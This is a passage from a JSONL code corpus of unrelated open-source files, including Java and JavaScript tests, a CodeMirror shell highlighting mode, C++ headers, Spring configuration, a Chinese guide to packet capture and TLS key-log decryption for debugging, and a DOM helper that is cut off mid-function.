StreamUtilities::WriteArray(stream, m_rowIds, c_maxShardIdCount);\n }\n}\n"} {"text": "import * as M from \"@effectful/core\";\n\nfunction a() {\n var a = M.context();\n return M.scope(a_1);\n}\n\nfunction a_1(a) {\n var i;\n i = 0;\n return M.chain(eff2(2), a_2);\n}\n\nfunction a_2(a, b) {\n return M.chain(eff1(b), a_3);\n}\n\nfunction a_3(a) {}"} {"text": "/*\n * Hibernate Tools, Tooling for your Hibernate Projects\n * \n * Copyright 2004-2020 Red Hat, Inc.\n *\n * Licensed under the GNU Lesser General Public License (LGPL), \n * version 2.1 or later (the \"License\").\n * You may not use this file except in compliance with the License.\n * You may read the licence in the 'lgpl.txt' file in the root folder of \n * project or obtain a copy at\n *\n * http://www.gnu.org/licenses/lgpl-2.1.html\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.hibernate.tool.hbm2x.PropertiesTest;\n\nimport java.io.File;\nimport java.nio.file.Files;\nimport java.util.List;\n\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.DocumentHelper;\nimport org.dom4j.Element;\nimport org.dom4j.XPath;\nimport org.dom4j.io.SAXReader;\nimport org.hibernate.tool.api.export.Exporter;\nimport org.hibernate.tool.api.export.ExporterConstants;\nimport org.hibernate.tool.api.export.ExporterFactory;\nimport org.hibernate.tool.api.export.ExporterType;\nimport org.hibernate.tool.api.metadata.MetadataDescriptor;\nimport org.hibernate.tool.internal.export.common.DefaultArtifactCollector;\nimport org.hibernate.tool.internal.export.hbm.HbmExporter;\nimport org.hibernate.tools.test.util.FileUtil;\nimport org.hibernate.tools.test.util.HibernateUtil;\nimport org.hibernate.tools.test.util.JUnitUtil;\nimport org.hibernate.tools.test.util.JavaUtil;\nimport org.junit.Assert;\nimport org.junit.Before;\nimport org.junit.Rule;\nimport org.junit.Test;\nimport org.junit.rules.TemporaryFolder;\n\n/**\n * @author Josh Moore josh.moore@gmx.de\n * @author koen\n */\npublic class TestCase {\n\t\n\tprivate static final String[] HBM_XML_FILES = new String[] {\n\t\t\t\"Properties.hbm.xml\"\n\t};\n\t\n\t@Rule\n\tpublic TemporaryFolder temporaryFolder = new TemporaryFolder();\n\n\tprivate DefaultArtifactCollector artifactCollector;\n\tprivate File outputDir = null;\n\tprivate File resourcesDir = null;\n\t\n\t@Before\n\tpublic void setUp() throws Exception {\n\t\tartifactCollector = new DefaultArtifactCollector();\n\t\toutputDir = new File(temporaryFolder.getRoot(), \"output\");\n\t\toutputDir.mkdir();\n\t\tresourcesDir = new File(temporaryFolder.getRoot(), \"resources\");\n\t\tresourcesDir.mkdir();\n\t\tMetadataDescriptor metadataDescriptor = HibernateUtil\n\t\t\t\t.initializeMetadataDescriptor(this, HBM_XML_FILES, resourcesDir);\n\t\tExporter exporter = ExporterFactory.createExporter(ExporterType.JAVA);\n\t\texporter.getProperties().put(ExporterConstants.METADATA_DESCRIPTOR, metadataDescriptor);\n\t\texporter.getProperties().put(ExporterConstants.DESTINATION_FOLDER, outputDir);\n\t\texporter.getProperties().put(ExporterConstants.ARTIFACT_COLLECTOR, artifactCollector);\n\t\tExporter hbmexporter = new HbmExporter();\n\t\thbmexporter.getProperties().put(ExporterConstants.METADATA_DESCRIPTOR, metadataDescriptor);\n\t\thbmexporter.getProperties().put(ExporterConstants.DESTINATION_FOLDER, outputDir);\n\t\thbmexporter.getProperties().put(ExporterConstants.ARTIFACT_COLLECTOR, artifactCollector);\n\t\texporter.start();\n\t\thbmexporter.start();\n\t}\t\n\t\n\t@Test\n\tpublic void testNoGenerationOfEmbeddedPropertiesComponent() {\n\t\tAssert.assertEquals(2, artifactCollector.getFileCount(\"java\"));\n\t\tAssert.assertEquals(2, artifactCollector.getFileCount(\"hbm.xml\"));\n\t}\n\t\n\t@Test\n\tpublic void testGenerationOfEmbeddedProperties() {\n\t\tFile outputXml = new File(outputDir, \"properties/PPerson.hbm.xml\");\n\t\tJUnitUtil.assertIsNonEmptyFile(outputXml);\n \tSAXReader xmlReader = new SAXReader();\n \txmlReader.setValidation(true);\n\t\tDocument document;\n\t\ttry {\n\t\t\tdocument = xmlReader.read(outputXml);\n\t\t\tXPath xpath = DocumentHelper.createXPath(\"//hibernate-mapping/class/properties\");\n\t\t\tList<?> list = xpath.selectNodes(document);\n\t\t\tAssert.assertEquals(\"Expected to get one properties element\", 1, list.size());\n\t\t\tElement node = (Element) list.get(0);\n\t\t\tAssert.assertEquals(node.attribute( \"name\" ).getText(),\"emergencyContact\");\n\t\t\tAssert.assertNotNull(\n\t\t\t\t\tFileUtil.findFirstString(\n\t\t\t\t\t\t\t\"name\", \n\t\t\t\t\t\t\tnew File(outputDir, \"properties/PPerson.java\" )));\n\t\t\tAssert.assertNull(\n\t\t\t\t\t\"Embedded component/properties should not show up in .java\", \n\t\t\t\t\tFileUtil.findFirstString(\n\t\t\t\t\t\t\t\"emergencyContact\", \n\t\t\t\t\t\t\tnew File(outputDir, \"properties/PPerson.java\" )));\t\t\n\t\t} catch (DocumentException e) {\n\t\t\tAssert.fail(\"Can't parse file \" + outputXml.getAbsolutePath());\n\t\t}\t\t\n\t}\n\t\n\t@Test\n\tpublic void testCompilable() throws Exception {\n\t\tString propertiesUsageResourcePath = \"/org/hibernate/tool/hbm2x/PropertiesTest/PropertiesUsage.java_\";\n\t\tFile propertiesUsageOrigin = new File(getClass().getResource(propertiesUsageResourcePath).toURI());\n\t\tFile propertiesUsageDestination = new File(outputDir, \"properties/PropertiesUsage.java\");\n\t\tFile targetDir = new File(temporaryFolder.getRoot(), \"compilerOutput\" );\n\t\ttargetDir.mkdir();\t\n\t\tFiles.copy(propertiesUsageOrigin.toPath(), propertiesUsageDestination.toPath());\n\t\tJavaUtil.compile(outputDir, targetDir);\n\t\tAssert.assertTrue(new File(targetDir, \"properties/PCompany.class\").exists());\n\t\tAssert.assertTrue(new File(targetDir, \"properties/PPerson.class\").exists());\n\t\tAssert.assertTrue(new File(targetDir, \"properties/PropertiesUsage.class\").exists());\n\t}\n\n}\n"} {"text": "import scala.language.experimental.macros\n\nfinal class Ops[T](val x: T) extends AnyVal {\n def f = macro Macros.crash\n}\n"} {"text": "// CodeMirror, copyright (c) by Marijn Haverbeke and others\n// Distributed under an MIT license: http://codemirror.net/LICENSE\n\n(function(mod) {\n if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n mod(require(\"../../lib/codemirror\"));\n else if (typeof define == \"function\" && define.amd) // AMD\n define([\"../../lib/codemirror\"], mod);\n else // Plain browser env\n mod(CodeMirror);\n})(function(CodeMirror) {\n\"use strict\";\n\nCodeMirror.defineMode('shell', function() {\n\n var words = {};\n function define(style, string) {\n var split = string.split(' ');\n for(var i = 0; i < split.length; i++) {\n words[split[i]] = style;\n }\n };\n\n // Atoms\n define('atom', 'true false');\n\n // Keywords\n define('keyword', 'if then do else elif while until for in esac fi fin ' +\n 'fil done exit set unset export function');\n\n // Commands\n define('builtin', 'ab awk bash beep cat cc cd chown chmod chroot clear cp ' +\n 'curl cut diff echo find gawk gcc get git grep kill killall ln ls make ' +\n 'mkdir openssl mv nc node npm ping ps restart rm rmdir sed service sh ' +\n 'shopt shred source sort sleep ssh start stop su sudo tee telnet top ' +\n 'touch vi vim wall wc wget who write yes zsh');\n\n function tokenBase(stream, state) {\n if (stream.eatSpace()) return null;\n\n var sol = stream.sol();\n var ch = stream.next();\n\n if (ch === '\\\\') {\n stream.next();\n return null;\n }\n if (ch === '\\'' || ch === '\"' || ch === '`') {\n state.tokens.unshift(tokenString(ch));\n return tokenize(stream, state);\n }\n if (ch === '#') {\n if (sol && stream.eat('!')) {\n stream.skipToEnd();\n return 'meta'; // 'comment'?\n }\n stream.skipToEnd();\n return 'comment';\n }\n if (ch === '$') {\n state.tokens.unshift(tokenDollar);\n return tokenize(stream, state);\n }\n if (ch === '+' || ch === '=') {\n return 'operator';\n }\n if (ch === '-') {\n stream.eat('-');\n stream.eatWhile(/\\w/);\n return 'attribute';\n }\n if (/\\d/.test(ch)) {\n stream.eatWhile(/\\d/);\n if(stream.eol() || !/\\w/.test(stream.peek())) {\n return 'number';\n }\n }\n stream.eatWhile(/[\\w-]/);\n var cur = stream.current();\n if (stream.peek() === '=' && /\\w+/.test(cur)) return 'def';\n return words.hasOwnProperty(cur) ? words[cur] : null;\n }\n\n function tokenString(quote) {\n return function(stream, state) {\n var next, end = false, escaped = false;\n while ((next = stream.next()) != null) {\n if (next === quote && !escaped) {\n end = true;\n break;\n }\n if (next === '$' && !escaped && quote !== '\\'') {\n escaped = true;\n stream.backUp(1);\n state.tokens.unshift(tokenDollar);\n break;\n }\n escaped = !escaped && next === '\\\\';\n }\n if (end || !escaped) {\n state.tokens.shift();\n }\n return (quote === '`' || quote === ')' ? 'quote' : 'string');\n };\n };\n\n var tokenDollar = function(stream, state) {\n if (state.tokens.length > 1) stream.eat('$');\n var ch = stream.next(), hungry = /\\w/;\n if (ch === '{') hungry = /[^}]/;\n if (ch === '(') {\n state.tokens[0] = tokenString(')');\n return tokenize(stream, state);\n }\n if (!/\\d/.test(ch)) {\n stream.eatWhile(hungry);\n stream.eat('}');\n }\n state.tokens.shift();\n return 'def';\n };\n\n function tokenize(stream, state) {\n return (state.tokens[0] || tokenBase) (stream, state);\n };\n\n return {\n startState: function() {return {tokens:[]};},\n token: function(stream, state) {\n return tokenize(stream, state);\n },\n lineComment: '#',\n fold: \"brace\"\n };\n});\n\nCodeMirror.defineMIME('text/x-sh', 'shell');\n\n});\n"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.apache.drill.common.expression.parser;\n\nimport org.apache.drill.common.exceptions.ExpressionParsingException;\nimport org.apache.drill.common.expression.ExpressionStringBuilder;\nimport org.apache.drill.common.expression.LogicalExpression;\nimport org.apache.drill.common.parser.LogicalExpressionParser;\nimport org.apache.drill.test.DrillTest;\nimport org.junit.Rule;\nimport org.junit.Test;\nimport org.junit.rules.ExpectedException;\n\nimport static org.hamcrest.CoreMatchers.containsString;\nimport static org.junit.Assert.assertEquals;\n\npublic class TreeTest extends DrillTest {\n\n @Rule\n public ExpectedException thrown = ExpectedException.none();\n\n @Test\n public void escapeStringLiteral() {\n String expr = \"func(`identifier`, '\\\\\\\\d+', 0, 'fjds')\";\n testExpressionParsing(expr, expr);\n }\n\n @Test\n public void escapeQuotedIdentifier() {\n String expr = \"`a\\\\\\\\b` + `c'd`\";\n testExpressionParsing(expr, \"add(`a\\\\\\\\b`, `c'd`)\");\n }\n\n @Test\n public void testIfWithCase() {\n testExpressionParsing(\"if ($F1) then case when (_MAP.R_NAME = 'AFRICA') then 2 else 4 end else if(4==3) then 1 else if(x==3) then 7 else (if(2==1) then 6 else 4 end) end\",\n \"( if (equal(`x`, 3) ) then (7 ) else ( ( if (equal(2, 1) ) then (6 ) else (4 ) end ) ) end )\");\n }\n\n @Test\n public void testAdd() {\n testExpressionParsing(\"2+2\", \"add(2, 2)\");\n }\n\n @Test\n public void testIf() {\n testExpressionParsing(\"if ('blue.red') then 'orange' else if (false) then 1 else 0 end\",\n \"( if (false ) then (1 ) else (0 ) end )\");\n }\n\n @Test\n public void testQuotedIdentifier() {\n String expr = \"`hello friend`.`goodbye`\";\n testExpressionParsing(expr, expr);\n }\n\n @Test\n public void testSpecialQuoted() {\n testExpressionParsing(\"`*0` + `*` \", \"add(`*0`, `*`)\");\n }\n\n @Test\n public void testQuotedIdentifier2() {\n testExpressionParsing(\"`hello friend`.goodbye\", \"`hello friend`.`goodbye`\");\n }\n\n @Test\n public void testComplexIdentifier() {\n testExpressionParsing(\"goodbye[4].`hello`\", \"`goodbye`[4].`hello`\");\n }\n\n @Test // DRILL-2606\n public void testCastToBooleanExpr() {\n String expr = \"cast( (cast( (`bool_col` ) as VARCHAR(100) ) ) as BIT )\";\n testExpressionParsing(expr, expr);\n }\n\n @Test\n public void testComments() {\n testExpressionParsing(\"cast /* block comment */ ( // single comment\\n\" +\n \"1 as int)\", \"cast( (1 ) as INT )\");\n }\n\n @Test\n public void testParsingException() {\n thrown.expect(ExpressionParsingException.class);\n thrown.expectMessage(containsString(\"mismatched input 'i' expecting\"));\n testExpressionParsing(\"cast(1 as i)\", \"\");\n }\n\n @Test\n public void testFunctionCallWithoutParams() {\n String expr = \"now()\";\n testExpressionParsing(expr, expr);\n }\n\n /**\n * Attempt to parse an expression. Once parsed, convert it to a string and then parse it again to make sure serialization works.\n */\n private void testExpressionParsing(String expr, String expected) {\n LogicalExpression e1 = LogicalExpressionParser.parse(expr);\n String newStringExpr = serializeExpression(e1);\n assertEquals(expected, newStringExpr.trim());\n LogicalExpressionParser.parse(newStringExpr);\n }\n\n private String serializeExpression(LogicalExpression expr){\n ExpressionStringBuilder b = new ExpressionStringBuilder();\n StringBuilder sb = new StringBuilder();\n expr.accept(b, sb);\n return sb.toString();\n }\n\n}\n"} {"text": "/**\n * Copyright (c) 2011-2019 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\n */\n#ifndef LIBBITCOIN_SYSTEM_ENDIAN_HPP\n#define LIBBITCOIN_SYSTEM_ENDIAN_HPP\n\n#include <istream>\n#include <bitcoin/system/define.hpp>\n#include <bitcoin/system/utility/data.hpp>\n\nnamespace libbitcoin {\nnamespace system {\n\ntemplate <typename Integer, typename Iterator>\nInteger from_big_endian(Iterator start, Iterator end);\n\ntemplate <typename Integer, typename Iterator>\nInteger from_little_endian(Iterator start, Iterator end);\n\ntemplate <typename Integer, typename Iterator>\nInteger from_big_endian_unsafe(Iterator start);\n\ntemplate <typename Integer, typename Iterator>\nInteger from_little_endian_unsafe(Iterator start);\n\ntemplate <typename Integer>\nInteger from_big_endian_stream_unsafe(std::istream& stream);\n\ntemplate <typename Integer>\nInteger from_little_endian_stream_unsafe(std::istream& stream);\n\ntemplate <typename Integer>\nbyte_array<sizeof(Integer)> to_big_endian(Integer value);\n\ntemplate <typename Integer>\nbyte_array<sizeof(Integer)> to_little_endian(Integer value);\n\n} // namespace system\n} // namespace libbitcoin\n\n#include <bitcoin/system/impl/utility/endian.ipp>\n\n#endif\n"} {"text": "'use strict';\n\nconst readdirSync = require('./sync');\nconst readdirAsync = require('./async');\nconst readdirStream = require('./stream');\n\nmodule.exports = exports = readdirAsyncPath;\nexports.readdir = exports.readdirAsync = exports.async = readdirAsyncPath;\nexports.readdirAsyncStat = exports.async.stat = readdirAsyncStat;\nexports.readdirStream = exports.stream = readdirStreamPath;\nexports.readdirStreamStat = exports.stream.stat = readdirStreamStat;\nexports.readdirSync = exports.sync = readdirSyncPath;\nexports.readdirSyncStat = exports.sync.stat = readdirSyncStat;\n\n/**\n * Synchronous readdir that returns an array of string paths.\n *\n * @param {string} dir\n * @param {object} [options]\n * @returns {string[]}\n */\nfunction readdirSyncPath (dir, options) {\n return readdirSync(dir, options, {});\n}\n\n/**\n * Synchronous readdir that returns results as an array of {@link fs.Stats} objects\n *\n * @param {string} dir\n * @param {object} [options]\n * @returns {fs.Stats[]}\n */\nfunction readdirSyncStat (dir, options) {\n return readdirSync(dir, options, { stats: true });\n}\n\n/**\n * Aynchronous readdir (accepts an error-first callback or returns a {@link Promise}).\n * Results are an array of path strings.\n *\n * @param {string} dir\n * @param {object} [options]\n * @param {function} [callback]\n * @returns {Promise<string[]>}\n */\nfunction readdirAsyncPath (dir, options, callback) {\n return readdirAsync(dir, options, callback, {});\n}\n\n/**\n * Aynchronous readdir (accepts an error-first callback or returns a {@link Promise}).\n * Results are an array of {@link fs.Stats} objects.\n *\n * @param {string} dir\n * @param {object} [options]\n * @param {function} [callback]\n * @returns {Promise<fs.Stats[]>}\n */\nfunction readdirAsyncStat (dir, options, callback) {\n return readdirAsync(dir, options, callback, { stats: true });\n}\n\n/**\n * Aynchronous readdir that returns a {@link stream.Readable} (which is also an {@link EventEmitter}).\n * All stream data events (\"data\", \"file\", \"directory\", \"symlink\") are passed a path string.\n *\n * @param {string} dir\n * @param {object} [options]\n * @returns {stream.Readable}\n */\nfunction readdirStreamPath (dir, options) {\n return readdirStream(dir, options, {});\n}\n\n/**\n * Aynchronous readdir that returns a {@link stream.Readable} (which is also an {@link EventEmitter})\n * All stream data events (\"data\", \"file\", \"directory\", \"symlink\") are passed an {@link fs.Stats} object.\n *\n * @param {string} dir\n * @param {object} [options]\n * @returns {stream.Readable}\n */\nfunction readdirStreamStat (dir, options) {\n return readdirStream(dir, options, { stats: true });\n}\n"} {"text": "/*\n* Copyright (c) 1997-2009 Nokia Corporation and/or its subsidiary(-ies).\n* All rights reserved.\n* This component and the accompanying materials are made available\n* under the terms of the License \"Eclipse Public License v1.0\"\n* which accompanies this distribution, and is available\n* at the URL \"http://www.eclipse.org/legal/epl-v10.html\".\n*\n* Initial Contributors:\n* Nokia Corporation - initial contribution.\n*\n* Contributors:\n*\n* Description: \n*\n*/\n\n\n#if !defined(__FILELINE_H__)\n#define __FILELINE_H__\n#if !defined(__ASTRING_H__)\t\n#include \"astring.h\"\n#endif\n\n#ifdef __VC32__\n#pragma warning( disable : 4786 )\t// identifier truncated in debugging information.\n#pragma warning( push, 1 )\t// MS STL libraries do not compile cleanly, temporarily set warning level to 1\n#pragma warning( disable : 4710 )\t// function not inlined.\n#endif\n#include <set>\n#ifdef __VC32__\n#pragma warning( pop )\n#endif\n\nclass FileLineManager\n\t{\npublic:\n\tFileLineManager();\n\tvirtual ~FileLineManager();\n\tvoid SetBase(const String& aFileName,int aLineNumber);\n\tvoid SetPath(const String& aDriveAndDirectory);\n\tvoid SetInclude(const String& aNameText,int aLineNumber);\n\tvoid PostInclude(char* aNameText,char* aRealLineNumber,int aLineNumber);\n\tint\tGetErrorLine(int aCurrentLineNumber) const;\n\tconst String* GetCurrentFile() const;\n\nprivate:\n\tvoid SetCurrentFile(const String&);\n\tString ExtractFileName(const String& aText);\n\nprivate:\n\tconst String* iCurrentFileName;\n\tconst String* iBaseFileName;\n\tint iOffsetLineNumber;\t// Line number of line in preprocessed file corresponding to # line for CurrentFileName.\n\tString iBasePath;\n\t// All filenames that have ever been seen.\n\tstd::set<String, StringLess> iAllFileNames;\n\t};\n\n#endif //__FILELINE_H__\n"} {"text": "# Creates the initial \"Inventories\" table (these are later renamed)\nclass CreateInventories < ActiveRecord::Migration[5.0]\n def change\n create_table :inventories do |t|\n t.string :name\n \tt.string :address\n\n t.timestamps\n end\n\n add_reference :donations, :inventory, index: true, foreign_key: true\n end\nend\n"} {"text": "# server\r\nserver.port=7778\r\n\t\r\n# spring\r\nspring.application.name=spring-cloud-provider\r\n\r\n# eureka\r\n#eureka.client.serviceUrl.defaultZone=http://localhost:8761/eureka/\r\neureka.client.serviceUrl.defaultZone=http://roncoo:123456@localhost:8761/eureka/\r\n\r\n# info自定义\r\ninfo.build.name=@project.name@\r\ninfo.build.description=@project.description@\r\ninfo.build.groupId=@project.groupId@\r\ninfo.build.artifact=@project.artifactId@\r\ninfo.build.version=@project.version@\r\n\r\neureka.instance.status-page-url-path=/info\r\neureka.instance.instanceId=${spring.application.name}:${random.value}\r\neureka.instance.prefer-ip-address=true\r\n\r\n#设置拉取服务注册信息时间,默认60s\r\neureka.client.registry-fetch-interval-seconds=30\r\n\r\n#指定续约更新频率,默认是30s\r\neureka.instance.lease-renewal-interval-in-seconds=15\r\n\r\n#设置过期剔除时间,默认90s\r\neureka.instance.lease-expiration-duration-in-seconds=45\r\n"} {"text": "# 流量抓包分析\n\n利用抓包及分析工具定位分析复杂的网络问题\n\n## 流量抓取\n\n使用tcpdump抓取示例:\n\n```bash\n# tcpdump tcp port 8443 -i any -s -w test.pcap\n```\n\n## 流量分析\n\n### 明文情况\n\n可使用wireshark软件打开抓包文件分析\n\n### 密文情况\n\n对于基于TLS的加密流量,可配合使用mod_key_log和wireshark进行解密分析。操作步骤:\n\n* Step1: 在bfe开启mod_key_log模块,保存TLS会话密钥到key.log日志文件中\n * 注:修改bfe.conf文件,增加启用mod_key_log模块, 模块配置详见[mod_key_log](../modules/mod_key_log/mod_key_log.md)\n\n```ini\n[Server]\nModules = mod_key_log\n```\n\n* Step2: 在wireshark中设置Master-Secret日志文件路径为key.log\n * 注:配置路径Edit→Preferences→Protocols→SSL→(Pre)-Master-Secret log filename\n\n* Step3: 使用wireshark打开并解密抓包数据\n\n![WireShark解密https](../../images/wireshark-https.png)\n"} {"text": "package gorm2\n\nimport (\n\t\"time\"\n\n\t\"github.com/jinzhu/gorm\"\n)\n\nfunc getGormDB() *gorm.DB {\n\tdb, _ := gorm.Open(\"mysql\",\n\t\t\"user:password@/dbname?charset=utf8&parseTime=True&loc=Local\")\n\treturn db\n}\n\n// User struct represents user model.\ntype User struct {\n\tgorm.Model\n\tRating int\n\tRatingMarks int\n}\n\nfunc getTodayBegin() time.Time {\n\tyear, month, day := time.Now().Date()\n\treturn time.Date(year, month, day, 0, 0, 0, 0, time.Now().Location())\n}\n\nfunc queryUsersWithMaxRating(db *gorm.DB, limit int) *gorm.DB {\n\treturn db.Order(\"rating DESC\").Limit(limit)\n}\n\nfunc queryUsersRegisteredToday(db *gorm.DB, limit int) *gorm.DB {\n\ttoday := getTodayBegin()\n\treturn db.Where(\"created_at >= ?\", today).Limit(limit)\n}\n\n// GetUsersWithMaxRating returns limit users with maximal rating\nfunc GetUsersWithMaxRating(limit int) ([]User, error) {\n\tvar users []User\n\tif err := queryUsersWithMaxRating(getGormDB(), limit).Find(&users).Error; err != nil {\n\t\treturn nil, err\n\t}\n\treturn users, nil\n}\n\n// GetUsersRegisteredToday returns all users registered today\nfunc GetUsersRegisteredToday(limit int) ([]User, error) {\n\tvar users []User\n\tif err := queryUsersRegisteredToday(getGormDB(), limit).Find(&users).Error; err != nil {\n\t\treturn nil, err\n\t}\n\treturn users, nil\n}\n\n// GetUsersRegisteredTodayWithMaxRating returns all users\n// registered today with max rating\nfunc GetUsersRegisteredTodayWithMaxRating(limit int) ([]User, error) {\n\tvar users []User\n\terr := queryUsersWithMaxRating(queryUsersRegisteredToday(getGormDB(), limit), limit).\n\t\tFind(&users).Error\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn users, nil\n}\n"} {"text": "-----BEGIN CERTIFICATE-----\nMIIDWTCCAkOgAwIBAgIUW3yHLCNMorwxWwyF6vrFuNsEdAQwCwYJKoZIhvcNAQEL\nMBExDzANBgNVBAMMBmV2cm9vdDAiGA8yMDE1MTEyODAwMDAwMFoYDzIwMTgwMjA1\nMDAwMDAwWjAsMSowKAYDVQQDDCF0ZXN0LWFuZC1jYWJmb3J1bS1vaWQtZWUtcGF0\naC1pbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6iFGoRI4W1kH9\nbraIBjYQPTwT2erkNUq07PVoV2wke8HHJajg2B+9sZwGm24ahvJr4q9adWtqZHEI\neqVap0WH9xzVJJwCfs1D/B5p0DggKZOrIMNJ5Nu5TMJrbA7tFYIP8X6taRqx0wI6\niypB7qdw4A8Njf1mCyuwJJKkfbmIYXmQsVeQPdI7xeC4SB+oN9OIQ+8nFthVt2Za\nqn4CkC86exCABiTMHGyXrZZhW7filhLAdTGjDJHdtMr3/K0dJdMJ77kXDqdo4bN7\nLyJvaeO0ipVhHe4m1iWdq5EITjbLHCQELL8Wiy/l8Y+ZFzG4s/5JI/pyUcQx1QOs\n2hgKNe2NAgMBAAGjgY0wgYowDAYDVR0TBAUwAwEB/zALBgNVHQ8EBAMCAQYwWgYI\nKwYBBQUHAQEETjBMMEoGCCsGAQUFBzABhj5odHRwOi8vd3d3LmV4YW1wbGUuY29t\nOjg4ODgvdGVzdC1hbmQtY2FiZm9ydW0tb2lkLWVlLXBhdGgtaW50LzARBgNVHSAE\nCjAIMAYGBFUdIAAwCwYJKoZIhvcNAQELA4IBAQAXnGkBYTc9jiL1YE4teF+ZRxfk\nTf2AteJYk53suuAUtQ3xgG4UWY9KHIMF/HLT+ZN3SAsJNgAgg/zBLNaTvt6C52hb\nTUtfW/803g1AUmHAhWg5lruffYpRnKNJdsi6IvWAQec5EDGT8hwq6F28VmgDr3RT\nJe/jgBNzVSifYKQm89f1TJWvdDqWSam0b2ags8l0UPzqHI+GzAn7E2KWamnCXWfD\nBZE9VA/KNc13I/K2tv5zZ/m/LKnTUeSS9qCKCWNjZGI0UIChVcie1t4NJbUf8IUD\nVyUYTm3Z5rO4PUzcR1q8CWzqgb0aKUoq60BWjnr+eipsE0dmc+9OGVAGh3me\n-----END CERTIFICATE-----"} {"text": "//----------------------------------------------------------------------------\n// Copyright (C) 2004-2020 by EMGU Corporation. All rights reserved. \n//----------------------------------------------------------------------------\n\nusing System;\n\nnamespace Emgu.CV.CvEnum\n{\n /// <summary>\n /// Type for Norm\n /// </summary>\n [Flags]\n public enum NormType\n {\n /// <summary>\n /// if arr2 is NULL, norm = ||arr1||_C = max_I abs(arr1(I));\n /// if arr2 is not NULL, norm = ||arr1-arr2||_C = max_I abs(arr1(I)-arr2(I))\n /// </summary>\n C = 1,\n /// <summary>\n /// if arr2 is NULL, norm = ||arr1||_L1 = sum_I abs(arr1(I));\n /// if arr2 is not NULL, norm = ||arr1-arr2||_L1 = sum_I abs(arr1(I)-arr2(I))\n /// </summary>\n L1 = 2,\n /// <summary>\n /// if arr2 is NULL, norm = ||arr1||_L2 = sqrt( sum_I arr1(I)^2);\n /// if arr2 is not NULL, norm = ||arr1-arr2||_L2 = sqrt( sum_I (arr1(I)-arr2(I))^2 )\n /// </summary>\n L2 = 4,\n /// <summary>\n /// Norm mask\n /// </summary>\n NormMask = 7,\n /// <summary>\n /// It is used in combination with either CV_C, CV_L1 or CV_L2\n /// </summary>\n Relative = 8,\n /// <summary>\n /// It is used in combination with either CV_C, CV_L1 or CV_L2\n /// </summary>\n Diff = 16,\n /// <summary>\n /// Min Max\n /// </summary>\n MinMax = 32,\n /// <summary>\n /// Diff C\n /// </summary>\n DiffC = (Diff | C),\n /// <summary>\n /// Diff L1\n /// </summary>\n DiffL1 = (Diff | L1),\n /// <summary>\n /// Diff L2\n /// </summary>\n DiffL2 = (Diff | L2),\n /// <summary>\n /// norm = ||arr1-arr2||_C/||arr2||_C\n /// </summary>\n RelativeC = (Relative | C),\n /// <summary>\n /// norm = ||arr1-arr2||_L1/||arr2||_L1\n /// </summary>\n RelativeL1 = (Relative | L1),\n /// <summary>\n /// norm = ||arr1-arr2||_L2/||arr2||_L2\n /// </summary>\n RelativeL2 = (Relative | L2)\n }\n}\n"} {"text": "var range; // Create a range object for efficently rendering strings to elements.\nvar NS_XHTML = 'http://www.w3.org/1999/xhtml';\n\nexport var doc = typeof document === 'undefined' ? undefined : document;\nvar HAS_TEMPLATE_SUPPORT = !!doc && 'content' in doc.createElement('template');\nvar HAS_RANGE_SUPPORT = !!doc && doc.createRange && 'createContextualFragment' in doc.createRange();\n\nfunction createFragmentFromTemplate(str) {\n var template = doc.createElement('template');\n template.innerHTML = str;\n return template.content.childNodes[0];\n}\n\nfunction createFragmentFromRange(str) {\n if (!range) {\n range = doc.createRange();\n range.selectNode(doc.body);\n }\n\n var fragment = range.createContextualFragment(str);\n return fragment.childNodes[0];\n}\n\nfunction createFragmentFromWrap(str) {\n var fragment = doc.createElement('body');\n fragment.innerHTML = str;\n return fragment.childNodes[0];\n}\n\n/**\n * This is about the same\n * var html = new DOMParser().parseFromString(str, 'text/html');\n * return html.body.firstChild;\n *\n * @method toElement\n * @param {String} str\n */\nexport function toElement(str) {\n str = str.trim();\n if (HAS_TEMPLATE_SUPPORT) {\n // avoid restrictions on content for things like `<tr><th>Hi</th></tr>` which\n // createContextualFragment doesn't support\n // <template> support not available in IE\n return createFragmentFromTemplate(str);\n } else if (HAS_RANGE_SUPPORT) {\n return createFragmentFromRange(str);\n }\n\n return createFragmentFromWrap(str);\n}\n\n/**\n * Returns true if two node's names are the same.\n *\n * NOTE: We don't bother checking `namespaceURI` because you will never find two HTML elements with the same\n * nodeName and different namespace URIs.\n *\n * @param {Element} a\n * @param {Element} b The target element\n * @return {boolean}\n */\nexport function compareNodeNames(fromEl, toEl) {\n var fromNodeName = fromEl.nodeName;\n var toNodeName = toEl.nodeName;\n\n if (fromNodeName === toNodeName) {\n return true;\n }\n\n if (toEl.actualize &&\n fromNodeName.charCodeAt(0) < 91 && /* from tag name is upper case */\n toNodeName.charCodeAt(0) > 90 /* target tag name is lower case */) {\n // If the target element is a virtual DOM node then we may need to normalize the tag name\n // before comparing. Normal HTML elements that are in the \"http://www.w3.org/1999/xhtml\"\n // are converted to upper case\n return fromNodeName === toNodeName.toUpperCase();\n } else {\n return false;\n 